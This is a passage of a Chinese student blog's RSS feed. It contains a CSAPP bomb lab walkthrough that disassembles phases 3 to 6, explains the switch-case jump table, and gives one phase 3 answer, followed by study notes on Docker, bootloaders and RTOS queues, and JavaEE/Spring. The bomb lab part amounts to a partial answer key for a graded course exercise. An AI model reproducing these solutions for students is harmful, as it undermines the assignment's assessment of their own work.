    1362:       e8 2f 06 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    1367:       b8 00 00 00 00          mov    $0x0,%eax #case 7
    136c:       eb a4                   jmp    1312 &amp;lt;phase_3+0x80&amp;gt;
    136e:       e8 dd fa ff ff          callq  e50 &amp;lt;__stack_chk_fail@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这一关汇编代码比较长，但是可以看出很有规律，后面全是jmp和mov，其实是swich-case语句&lt;/p&gt;
&lt;p&gt;先看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;12ae:       48 8d 35 a8 19 00 00    lea    0x19a8(%rip),%rsi        # 2c5d &amp;lt;array.3415+0x21d&amp;gt; 
12b5:       e8 36 fc ff ff          callq  ef0 &amp;lt;__isoc99_sscanf@plt&amp;gt; #输入
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;12b5调用了sccanf，能猜出来是在输入，在该处打断点，查看rsi的值，发现为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rsi            0x56413d802c5d      94838204673117
x/s 0x56413d802c5d
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x56413d802c5d:	&amp;quot;%d %d&amp;quot; #说明输入两个整数
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;12bf:       83 3c 24 07             cmpl   $0x7,(%rsp)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;说明输入第一个的数字&amp;lt;7，下一条的ja说明第一个数字&amp;gt;=0&lt;/p&gt;
&lt;p&gt;后面分析起来很乱，借助ida的流程图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/01/byPGkXKEI1DTuMj.png&#34; alt=&#34;image-20211101153055084&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/01/lreUfdQ2TynObxp.png&#34; alt=&#34;image-20211101153742392&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以看到下面是一个跳转表，根据第一个参数的数值进行跳转的表&lt;/p&gt;
&lt;p&gt;结合上面的汇编代码，可以知道是有多个答案的&lt;/p&gt;
&lt;p&gt;假设第一个参数为0，则过程为：&lt;/p&gt;
&lt;p&gt;进入case 0 &amp;ndash;&amp;gt; eax = 710 &amp;ndash;&amp;gt; eax -= 773 &amp;ndash;&amp;gt;eax +=599 &amp;ndash;&amp;gt;eax -= 392 &amp;ndash;&amp;gt;eax += 392 &amp;ndash;&amp;gt; eax-=392 &amp;ndash;&amp;gt;eax += 392&lt;/p&gt;
&lt;p&gt;&amp;ndash;&amp;gt;eax-=392 最后eax = -387。而eax必须和输入的第二个参数相等，所以第二个参数为-387&lt;/p&gt;
&lt;p&gt;所以其中一个答案为：0, -387&lt;/p&gt;
&lt;h3 id=&#34;phase_4&#34;&gt;phase_4&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;    13ac:       48 83 ec 18             sub    $0x18,%rsp
    13b0:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    13b7:       00 00
    13b9:       48 89 44 24 08          mov    %rax,0x8(%rsp)
    13be:       31 c0                   xor    %eax,%eax
    13c0:       48 89 e1                mov    %rsp,%rcx
    13c3:       48 8d 54 24 04          lea    0x4(%rsp),%rdx
    13c8:       48 8d 35 8e 18 00 00    lea    0x188e(%rip),%rsi        # 2c5d &amp;lt;array.3415+0x21d&amp;gt;
    13cf:       e8 1c fb ff ff          callq  ef0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
    13d4:       83 f8 02                cmp    $0x2,%eax
    13d7:       75 0b                   jne    13e4 &amp;lt;phase_4+0x38&amp;gt;
    13d9:       8b 04 24                mov    (%rsp),%eax
    13dc:       83 e8 02                sub    $0x2,%eax
    13df:       83 f8 02                cmp    $0x2,%eax
    13e2:       76 05                   jbe    13e9 &amp;lt;phase_4+0x3d&amp;gt;
    13e4:       e8 ad 05 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    13e9:       8b 34 24                mov    (%rsp),%esi
    13ec:       bf 09 00 00 00          mov    $0x9,%edi
    13f1:       e8 7d ff ff ff          callq  1373 &amp;lt;func4&amp;gt;
    13f6:       39 44 24 04             cmp    %eax,0x4(%rsp)
    13fa:       74 05                   je     1401 &amp;lt;phase_4+0x55&amp;gt;
    13fc:       e8 95 05 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    1401:       48 8b 44 24 08          mov    0x8(%rsp),%rax
    1406:       64 48 33 04 25 28 00    xor    %fs:0x28,%rax
    140d:       00 00
    140f:       75 05                   jne    1416 &amp;lt;phase_4+0x6a&amp;gt;
    1411:       48 83 c4 18             add    $0x18,%rsp
    1415:       c3                      retq
    1416:       e8 35 fa ff ff          callq  e50 &amp;lt;__stack_chk_fail@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Func4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000001373 &amp;lt;func4&amp;gt;:
    1373:       b8 00 00 00 00          mov    $0x0,%eax
    1378:       85 ff                   test   %edi,%edi
    137a:       7e 07                   jle    1383 &amp;lt;func4+0x10&amp;gt;
    137c:       89 f0                   mov    %esi,%eax
    137e:       83 ff 01                cmp    $0x1,%edi
    1381:       75 02                   jne    1385 &amp;lt;func4+0x12&amp;gt;
    1383:       f3 c3                   repz retq
    1385:       41 54                   push   %r12
    1387:       55                      push   %rbp
    1388:       53                      push   %rbx
    1389:       41 89 f4                mov    %esi,%r12d
    138c:       89 fb                   mov    %edi,%ebx
    138e:       8d 7f ff                lea    -0x1(%rdi),%edi
    1391:       e8 dd ff ff ff          callq  1373 &amp;lt;func4&amp;gt;
    1396:       42 8d 2c 20             lea    (%rax,%r12,1),%ebp
    139a:       8d 7b fe                lea    -0x2(%rbx),%edi
    139d:       44 89 e6                mov    %r12d,%esi
    13a0:       e8 ce ff ff ff          callq  1373 &amp;lt;func4&amp;gt;
    13a5:       01 e8                   add    %ebp,%eax
    13a7:       5b                      pop    %rbx
    13a8:       5d                      pop    %rbp
    13a9:       41 5c                   pop    %r12
    13ab:       c3                      retq
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;phase_5&#34;&gt;phase_5&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;000000000000141b &amp;lt;phase_5&amp;gt;:
    141b:       48 83 ec 18             sub    $0x18,%rsp
    141f:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    1426:       00 00
    1428:       48 89 44 24 08          mov    %rax,0x8(%rsp)
    142d:       31 c0                   xor    %eax,%eax
    142f:       48 8d 4c 24 04          lea    0x4(%rsp),%rcx
    1434:       48 89 e2                mov    %rsp,%rdx
    1437:       48 8d 35 1f 18 00 00    lea    0x181f(%rip),%rsi        # 2c5d &amp;lt;array.3415+0x21d&amp;gt;
    143e:       e8 ad fa ff ff          callq  ef0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
    1443:       83 f8 01                cmp    $0x1,%eax
    1446:       7e 5a                   jle    14a2 &amp;lt;phase_5+0x87&amp;gt;
    1448:       8b 04 24                mov    (%rsp),%eax
    144b:       83 e0 0f                and    $0xf,%eax
    144e:       89 04 24                mov    %eax,(%rsp)
    1451:       83 f8 0f                cmp    $0xf,%eax
    1454:       74 32                   je     1488 &amp;lt;phase_5+0x6d&amp;gt;
    1456:       b9 00 00 00 00          mov    $0x0,%ecx
    145b:       ba 00 00 00 00          mov    $0x0,%edx
    1460:       48 8d 35 d9 15 00 00    lea    0x15d9(%rip),%rsi        # 2a40 &amp;lt;array.3415&amp;gt;
    1467:       83 c2 01                add    $0x1,%edx
    146a:       48 98                   cltq
    146c:       8b 04 86                mov    (%rsi,%rax,4),%eax
    146f:       01 c1                   add    %eax,%ecx
    1471:       83 f8 0f                cmp    $0xf,%eax
    1474:       75 f1                   jne    1467 &amp;lt;phase_5+0x4c&amp;gt;
    1476:       c7 04 24 0f 00 00 00    movl   $0xf,(%rsp)
    147d:       83 fa 0f                cmp    $0xf,%edx
    1480:       75 06                   jne    1488 &amp;lt;phase_5+0x6d&amp;gt;
    1482:       39 4c 24 04             cmp    %ecx,0x4(%rsp)
    1486:       74 05                   je     148d &amp;lt;phase_5+0x72&amp;gt;
    1488:       e8 09 05 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    148d:       48 8b 44 24 08          mov    0x8(%rsp),%rax
    1492:       64 48 33 04 25 28 00    xor    %fs:0x28,%rax
    1499:       00 00
    149b:       75 0c                   jne    14a9 &amp;lt;phase_5+0x8e&amp;gt;
    149d:       48 83 c4 18             add    $0x18,%rsp
    14a1:       c3                      retq
    14a2:       e8 ef 04 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    14a7:       eb 9f                   jmp    1448 &amp;lt;phase_5+0x2d&amp;gt;
    14a9:       e8 a2 f9 ff ff          callq  e50 &amp;lt;__stack_chk_fail@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;phase_6&#34;&gt;phase_6&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;00000000000014ae &amp;lt;phase_6&amp;gt;:
    14ae:       41 55                   push   %r13
    14b0:       41 54                   push   %r12
    14b2:       55                      push   %rbp
    14b3:       53                      push   %rbx
    14b4:       48 83 ec 68             sub    $0x68,%rsp
    14b8:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    14bf:       00 00
    14c1:       48 89 44 24 58          mov    %rax,0x58(%rsp)
    14c6:       31 c0                   xor    %eax,%eax
    14c8:       49 89 e4                mov    %rsp,%r12
    14cb:       4c 89 e6                mov    %r12,%rsi
    14ce:       e8 ff 04 00 00          callq  19d2 &amp;lt;read_six_numbers&amp;gt;
    14d3:       41 bd 00 00 00 00       mov    $0x0,%r13d
    14d9:       eb 25                   jmp    1500 &amp;lt;phase_6+0x52&amp;gt;
    14db:       e8 b6 04 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    14e0:       eb 2d                   jmp    150f &amp;lt;phase_6+0x61&amp;gt;
    14e2:       83 c3 01                add    $0x1,%ebx
    14e5:       83 fb 05                cmp    $0x5,%ebx
    14e8:       7f 12                   jg     14fc &amp;lt;phase_6+0x4e&amp;gt;
    14ea:       48 63 c3                movslq %ebx,%rax
    14ed:       8b 04 84                mov    (%rsp,%rax,4),%eax
    14f0:       39 45 00                cmp    %eax,0x0(%rbp)
    14f3:       75 ed                   jne    14e2 &amp;lt;phase_6+0x34&amp;gt;
    14f5:       e8 9c 04 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    14fa:       eb e6                   jmp    14e2 &amp;lt;phase_6+0x34&amp;gt;
    14fc:       49 83 c4 04             add    $0x4,%r12
    1500:       4c 89 e5                mov    %r12,%rbp
    1503:       41 8b 04 24             mov    (%r12),%eax
    1507:       83 e8 01                sub    $0x1,%eax
    150a:       83 f8 05                cmp    $0x5,%eax
    150d:       77 cc                   ja     14db &amp;lt;phase_6+0x2d&amp;gt;
    150f:       41 83 c5 01             add    $0x1,%r13d
    1513:       41 83 fd 06             cmp    $0x6,%r13d
    1517:       74 35                   je     154e &amp;lt;phase_6+0xa0&amp;gt;
    1519:       44 89 eb                mov    %r13d,%ebx
    151c:       eb cc                   jmp    14ea &amp;lt;phase_6+0x3c&amp;gt;
    151e:       48 8b 52 08             mov    0x8(%rdx),%rdx
    1522:       83 c0 01                add    $0x1,%eax
    1525:       39 c8                   cmp    %ecx,%eax
    1527:       75 f5                   jne    151e &amp;lt;phase_6+0x70&amp;gt;
    1529:       48 89 54 f4 20          mov    %rdx,0x20(%rsp,%rsi,8)
    152e:       48 83 c6 01             add    $0x1,%rsi
    1532:       48 83 fe 06             cmp    $0x6,%rsi
    1536:       74 1d                   je     1555 &amp;lt;phase_6+0xa7&amp;gt;
    1538:       8b 0c b4                mov    (%rsp,%rsi,4),%ecx
    153b:       b8 01 00 00 00          mov    $0x1,%eax
    1540:       48 8d 15 e9 2c 20 00    lea    0x202ce9(%rip),%rdx        # 204230 &amp;lt;node1&amp;gt;
    1547:       83 f9 01                cmp    $0x1,%ecx
    154a:       7f d2                   jg     151e &amp;lt;phase_6+0x70&amp;gt;
    154c:       eb db                   jmp    1529 &amp;lt;phase_6+0x7b&amp;gt;
    154e:       be 00 00 00 00          mov    $0x0,%esi
    1553:       eb e3                   jmp    1538 &amp;lt;phase_6+0x8a&amp;gt;
    1555:       48 8b 5c 24 20          mov    0x20(%rsp),%rbx
    155a:       48 8b 44 24 28          mov    0x28(%rsp),%rax
    155f:       48 89 43 08             mov    %rax,0x8(%rbx)
    1563:       48 8b 54 24 30          mov    0x30(%rsp),%rdx
    1568:       48 89 50 08             mov    %rdx,0x8(%rax)
    156c:       48 8b 44 24 38          mov    0x38(%rsp),%rax
    1571:       48 89 42 08             mov    %rax,0x8(%rdx)
    1575:       48 8b 54 24 40          mov    0x40(%rsp),%rdx
    157a:       48 89 50 08             mov    %rdx,0x8(%rax)
    157e:       48 8b 44 24 48          mov    0x48(%rsp),%rax
    1583:       48 89 42 08             mov    %rax,0x8(%rdx)
    1587:       48 c7 40 08 00 00 00    movq   $0x0,0x8(%rax)
    158e:       00
    158f:       bd 05 00 00 00          mov    $0x5,%ebp
    1594:       eb 09                   jmp    159f &amp;lt;phase_6+0xf1&amp;gt;
    1596:       48 8b 5b 08             mov    0x8(%rbx),%rbx
    159a:       83 ed 01                sub    $0x1,%ebp
    159d:       74 11                   je     15b0 &amp;lt;phase_6+0x102&amp;gt;
    159f:       48 8b 43 08             mov    0x8(%rbx),%rax
    15a3:       8b 00                   mov    (%rax),%eax
    15a5:       39 03                   cmp    %eax,(%rbx)
    15a7:       7e ed                   jle    1596 &amp;lt;phase_6+0xe8&amp;gt;
    15a9:       e8 e8 03 00 00          callq  1996 &amp;lt;explode_bomb&amp;gt;
    15ae:       eb e6                   jmp    1596 &amp;lt;phase_6+0xe8&amp;gt;
    15b0:       48 8b 44 24 58          mov    0x58(%rsp),%rax
    15b5:       64 48 33 04 25 28 00    xor    %fs:0x28,%rax
    15bc:       00 00
    15be:       75 0b                   jne    15cb &amp;lt;phase_6+0x11d&amp;gt;
    15c0:       48 83 c4 68             add    $0x68,%rsp
    15c4:       5b                      pop    %rbx
    15c5:       5d                      pop    %rbp
    15c6:       41 5c                   pop    %r12
    15c8:       41 5d                   pop    %r13
    15ca:       c3                      retq
    15cb:       e8 80 f8 ff ff          callq  e50 &amp;lt;__stack_chk_fail@plt&amp;gt;

&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    
    <item>
      <title>Docker_notes</title>
      <link>https://weivwang.github.io/studynotes/docker_notes/</link>
      <pubDate>Fri, 29 Oct 2021 21:04:17 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/docker_notes/</guid>
      <description>&lt;h1 id=&#34;docker-学习笔记&#34;&gt;Docker 学习笔记&lt;/h1&gt;
&lt;h2 id=&#34;目的&#34;&gt;目的&lt;/h2&gt;
&lt;p&gt;最近为了做 csapp 的大作业，需要在 mac 上使用 Linux，但是又不想安装庞大的虚拟机，想到了使用 docker，正好趁此机会学习一下 docker&lt;/p&gt;
&lt;h2 id=&#34;参考资料&#34;&gt;参考资料&lt;/h2&gt;
&lt;p&gt;bilibili 狂神说 docker 教程&lt;/p&gt;
&lt;h2 id=&#34;docker-简介&#34;&gt;Docker 简介&lt;/h2&gt;
&lt;p&gt;传统：开发 Jar，运维来做&lt;/p&gt;
&lt;p&gt;现在：开发打包部署上线，一套流程做完。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Docker 通过&lt;strong&gt;隔离&lt;/strong&gt;机制，将服务器利用到极致。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mysql 集群，redis 集群部署，使用 docker 十分方便&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;docker-历史&#34;&gt;Docker 历史&lt;/h2&gt;
&lt;p&gt;2010 年，几个年轻人在美国成立 dotCloud，做 paas 云计算服务(plantform as a service)&lt;/p&gt;
&lt;p&gt;他们将容器化技术命名为 Docker，起初没有引起行业注意，公司无法生存。2013 年他们决定开源 docker。越来越多人发现 docker 的优点。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;docker 为什么火？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;相对于虚拟机，非常轻量，基于 Go 语言开发&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;虚拟机：windows-Vmware，mac- parallels，通过虚拟机软件虚拟出来一台电脑或者多台电脑&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;容器：创建镜像（最核心的环境+jdk+mysql），几个 M 就够了&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;虚拟机缺点：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;kernel -&amp;gt;Lib -&amp;gt; app&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;资源占用多&lt;/li&gt;
&lt;li&gt;启动慢&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;docker：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;kernel -&amp;gt;容器（Lib-&amp;gt;app）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;容器的应用直接运行在数组环境中，容器没有自己的内核，所以轻便&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;每个容器间相互隔离，都有自己的文件系统&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;文档地址：https://docs.docker.com&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DevOps（开发，运维）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;应用更快速的交付和部署，docker 打包镜像发布测试&lt;/li&gt;
&lt;li&gt;更便捷升级和扩缩容&lt;/li&gt;
&lt;li&gt;更简单的系统运维&lt;/li&gt;
&lt;li&gt;更高效的计算资源利用，一个物理机可以运行很多容器实例&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;docker-的基本组成&#34;&gt;Docker 的基本组成：&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/10/18/RZ39hA8XGdcr1T2.png&#34; alt=&#34;95AE2B87-8FDB-4D2C-8C60-8E0D262720AB&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Image&lt;/strong&gt;：一个模版，通过改模版创建容器服务&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Container&lt;/strong&gt;：项目往 container 里面放&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Repository&lt;/strong&gt;：存放 image 的地方&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Enbedded_software_courses_notes</title>
      <link>https://weivwang.github.io/studynotes/enbedded_software_courses_notes/</link>
      <pubDate>Fri, 29 Oct 2021 19:27:15 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/enbedded_software_courses_notes/</guid>
      <description>&lt;h1 id=&#34;嵌入式软件课程笔记&#34;&gt;嵌入式软件课程笔记&lt;/h1&gt;
&lt;h2 id=&#34;bootloader-的作用&#34;&gt;bootloader 的作用&lt;/h2&gt;
&lt;p&gt;参考资料：https://blog.csdn.net/zxnsirius/article/details/52166558&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.csdn.net/qq_35769944/article/details/81979980&#34;&gt;https://blog.csdn.net/qq_35769944/article/details/81979980&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BootLoader&lt;/strong&gt;就是在操作系统运行之前运行的一段小程序。通过这段小程序，&lt;strong&gt;可以初始化硬件设备&lt;/strong&gt;，从而将系统的软硬件环境带到一个合适的状态，以便为最终调用操作系统做好准备。对于 Bootloader 的启动过程又分为两个阶段 stage1 和 stage2。&lt;/p&gt;
&lt;p&gt;stage1 全部由汇编编写，它的主要工作是（1）初始化硬件设备、（2）为加载 Bootlodader 的 stage2 准备 RAM 空间（3）拷贝 Bootloader 的 stage2 到 RAM 空间（4）设置好堆栈段为 stager2 的 C 语言环境做准备。&lt;/p&gt;
&lt;p&gt;stage2 全部由 C 语言编写，其的主要工作是（1）初始化本阶段要使用到的硬件设备（2）将内核映像和根文件系统映像从 flash 上读到 RAM （3）调用内核&lt;/p&gt;
&lt;h3 id=&#34;通俗解释&#34;&gt;通俗解释&lt;/h3&gt;
&lt;p&gt;其实 bootloader 主要的必须的作用只有一个:就是把操作系统映像文件拷贝到 RAM 中去，然后跳转到它的入口处去执行。&lt;/p&gt;
&lt;p&gt;而操作系统文件的来源，可以是 flash,sd card,PC(可以通过网络，USB，甚至串口传输）等等，所谓的 EBOOT,UBOOT，其实就是表明了系统文件是通过 Ethernet 或者 USB 从 PC 传输过去的。&lt;/p&gt;
&lt;p&gt;当然，为了实现这个功能（以及其它附加功能），我们必须对硬件做一些必要的初始化，这个也是必须的（废话！）。除了这个必须的，现在的 bootloader 还常常会加入以下功能：&lt;/p&gt;
&lt;p&gt;1.将操作系统映像文件写入 FLASH/硬盘等：读取过来的操作系统文件，除了可以拷贝到 RAM 中直接运行，还可以烧录到 FLASH，或者写入硬盘永久保存，这样下次就可以直接从本机来读取操作系统映像。&lt;/p&gt;
&lt;p&gt;2.硬件诊断：如同 PC 的 BIOS 一样，检测硬件是否正常功能。&lt;/p&gt;
&lt;p&gt;3.显示一个 LOGO，因为拷贝操作系统文件和启动操作系统需要时间，所以产品化的设备，一般需要在这段时间显示一个 LOGO。&lt;/p&gt;
&lt;h2 id=&#34;操作系统服务&#34;&gt;操作系统服务&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;消息队列&lt;/li&gt;
&lt;li&gt;信箱&lt;/li&gt;
&lt;li&gt;管道&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;消息队列&#34;&gt;消息队列&lt;/h3&gt;
&lt;p&gt;细节：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;绝大多是 RTOS 都需要一个特定函数来初始化队列&lt;/li&gt;
&lt;li&gt;大多数 RTOS 允许建立多个队列&lt;/li&gt;
&lt;li&gt;如果要写入的队列已经满了，则 RTOS 返还一个错误信息，表明写操作失败；或者阻塞该任务，直到队列释放空间&lt;/li&gt;
&lt;li&gt;若想要读的队列为空，则返回错误码&lt;/li&gt;
&lt;li&gt;写入数据量问题：向队列写 char，int 或者自己定义的 struct 怎么办？不能都写一个对应的方法来处理：C++泛型，重载；c 语言 void 指针，用宏包装函数（不好调试）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;指针和队列：&lt;/p&gt;
&lt;p&gt;将数据放在缓冲区，用指针指向这个缓冲区，把指针放在队列中&lt;/p&gt;
&lt;h3 id=&#34;信箱&#34;&gt;信箱&lt;/h3&gt;
&lt;p&gt;和队列的区别：信箱的数据有优先级，按优先级先后取出&lt;/p&gt;
&lt;h3 id=&#34;管道&#34;&gt;管道&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;一些 rtos 允许写入管道的消息长度不限&lt;/li&gt;
&lt;li&gt;面向字节的&lt;/li&gt;
&lt;li&gt;一些 rtos 使用标准的 fread 和 fwrite 来读出，写入管道&lt;/li&gt;
&lt;li&gt;由于面向字节，如何实现两个任务之间的数据传输量符合期望？制定通信协议。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;printf 就是用的管道&lt;/p&gt;
&lt;h3 id=&#34;缺陷&#34;&gt;缺陷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;许多 rtos 不限制任务可以读写给定的队列，管道，信箱的权利&lt;/li&gt;
&lt;li&gt;rtos 不能保证读取数据的任务能够正确的解释数据&lt;/li&gt;
&lt;li&gt;队列，管道，信箱已满对嵌入式软件是一种灾难&lt;/li&gt;
&lt;li&gt;通过队列，管道，信箱在任务间传递指针可能会创建共享数据&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;实时操作系统的基本设计&#34;&gt;实时操作系统的基本设计&lt;/h2&gt;
</description>
    </item>
    
    <item>
      <title>JavaEE课堂笔记</title>
      <link>https://weivwang.github.io/studynotes/javaee%E8%AF%BE%E5%A0%82%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sat, 23 Oct 2021 14:37:51 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/javaee%E8%AF%BE%E5%A0%82%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;h1 id=&#34;javaee&#34;&gt;JavaEE&lt;/h1&gt;
&lt;h2 id=&#34;第一周&#34;&gt;第一周&lt;/h2&gt;
&lt;h3 id=&#34;主要讲ssmspring-springmvc-mybatis&#34;&gt;&lt;strong&gt;主要讲SSM：Spring-SpringMVC-Mybatis&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;​	Spring：通用框架。解决基础问题&lt;/p&gt;
&lt;p&gt;​	Mybatis  ORM库，做object和relation的mapping&lt;/p&gt;
&lt;p&gt;​	SpringMVC：web开发&lt;/p&gt;
&lt;h3 id=&#34;框架和中间件区别&#34;&gt;&lt;em&gt;框架和中间件区别：&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;​	框架framework：以sdk，jar包形式&lt;/p&gt;
&lt;p&gt;​	中间件middle-ware：独立可运行，不依赖于程序&lt;/p&gt;
&lt;p&gt;###&lt;strong&gt;new创建对象会带来很多问题&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&#34;云计算dubbospringcloudk8s&#34;&gt;&lt;strong&gt;云计算：Dubbo，Springcloud，K8s&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;​	云计算springcloud，但K8s功能更强大&lt;/p&gt;
&lt;p&gt;​	K8s通过环境管理配置，无侵入。将运维和业务分离&lt;/p&gt;
&lt;p&gt;###&lt;strong&gt;OOP Solid&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.jianshu.com/p/655ccb647152&#34;&gt;https://www.jianshu.com/p/655ccb647152&lt;/a&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;英文简写&lt;/th&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SRP&lt;/td&gt;
&lt;td&gt;单一职责原则&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OCP&lt;/td&gt;
&lt;td&gt;开放封闭原则&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LSP&lt;/td&gt;
&lt;td&gt;里氏替换原则&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ISP&lt;/td&gt;
&lt;td&gt;接口隔离原则&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DIP&lt;/td&gt;
&lt;td&gt;依赖倒置原则&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;###&lt;strong&gt;希望完成：编译时解耦合，运行时再有耦合&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	IOC 控制反转：不要手工new对象，把对象创建交给spring容器，防止在编译期建立耦合&lt;/p&gt;
&lt;p&gt;​	DI依赖注入：帮助在运行期建立耦合&lt;/p&gt;
&lt;p&gt;###&lt;strong&gt;反射&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;this.engine = new Engine(); //原本new对象，会出现耦合，没有Engine类，编译不通过
this.engine = (IEngine).Class.forName(&#39;com.demo.Engine&#39;).newInstance; //修改后，forName传字符串，字符串内容可以修改，编译能通过
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;###&lt;strong&gt;AOP：面向切面编程&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	Aspect-Oriented Programming&lt;/p&gt;
&lt;p&gt;​	需要解决的问题：Java是静态的编程语言（不能在运行时修改类定义），带来扩展问题。有源码可以修改源代码，没有源代码没办法改。&lt;/p&gt;
&lt;h2 id=&#34;第二周&#34;&gt;第二周&lt;/h2&gt;
&lt;p&gt;###&lt;strong&gt;Java中认为最重要的类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Object类&lt;/p&gt;
&lt;p&gt;Class类&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Person&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
	&lt;span style=&#34;color:#75715e&#34;&gt;//类定义
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;

&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Test&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
